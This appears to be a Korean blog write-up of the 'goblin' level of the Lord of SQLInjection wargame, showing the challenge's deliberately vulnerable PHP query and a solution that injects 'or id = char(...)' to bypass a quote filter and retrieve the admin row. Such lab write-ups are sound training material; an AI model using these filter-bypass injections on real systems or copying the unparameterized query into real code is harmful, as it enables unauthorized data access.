Notice
Recent Posts
Recent Comments
250x250
반응형
«   2025/08   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Archives
Today
Total
관리 메뉴

Tyojong

[LOS] goblin 본문

web/LOS

[LOS] goblin

Tyojong 2025. 7. 20. 17:07
반응형
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

 

문제 목표

if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~");

따옴표는 작성이 불가능하고

if($result['id'] == 'admin'solve("goblin");

id가 admin이 출력되면 해결된다.

 

문제 해결

따옴표를 사용할 수 없기 때문에 일반적인 문자열은 바로 사용할 수 없다.

sql 함수 중 ascii값을 문자로 변환해주는 char() 함수가 존재한다.

 

admin문자를 ascii값으로 변환해주고 char() 함수에 넣는다.

이때 no에 들어가는 정수 값은 없는 사용자 (False)로 넣어줘야 뒤에 id에 들어가는 값이 참이되어 정상적으로 admin이 출력된다.

 

?no=0 or id = char(97,100,109,105,110)

select id from prob_goblin where id='guest' and no=0 or id = char(97,100,109,105,110)

728x90

'web > LOS' 카테고리의 다른 글

[LOS] darkelf  (0) 2025.07.22
[LOS] wolfman  (0) 2025.07.21
[LOS] orc  (0) 2025.07.20
[LOS] cobolt  (0) 2025.07.20
[LOS] gremlin  (0) 2025.07.19